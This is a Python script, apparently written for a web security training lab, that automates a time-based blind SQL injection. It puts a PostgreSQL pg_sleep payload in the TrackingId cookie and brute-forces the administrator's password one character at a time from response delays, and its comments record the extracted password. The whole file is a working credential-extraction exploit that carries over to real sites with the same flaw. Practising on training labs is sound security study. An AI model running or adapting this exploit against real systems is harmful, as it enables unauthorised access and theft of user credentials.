blind-sqli-time-delays.py

import requests
import string


targetURL = "https://ac491fcf1fb369b0c0090d5c00a80076.web-security-academy.net/"

#PASS = LENGTH 20
#PASS = f2tsm1amclzyrn4dmc1y
# payload = "SRS7zW1Ys5ZfNIzf'|| (select CASE WHEN (username = 'administrator' and LENGTH(password) = 20) THEN pg_sleep(5) ELSE pg_sleep(0) END from users) -- ;"

n = 1
p = ''
while n < 21:
	for c in string.printable:
		if c not in ['*','+','.','?','|', '%', '\n']:


			payload = "SRS7zW1Ys5ZfNIzf'|| (select CASE WHEN (username = 'administrator' and SUBSTRING(password,"+str(n)+",1) = '"+c+"') THEN pg_sleep(5) ELSE pg_sleep(0) END from users) -- ;"


			data = {'TrackingId':payload}
			response = requests.get(targetURL,cookies = data)

			if response.elapsed.total_seconds() > 5:
				print(c)
				n = n + 1
				p = p + str(c)
				break

print(p)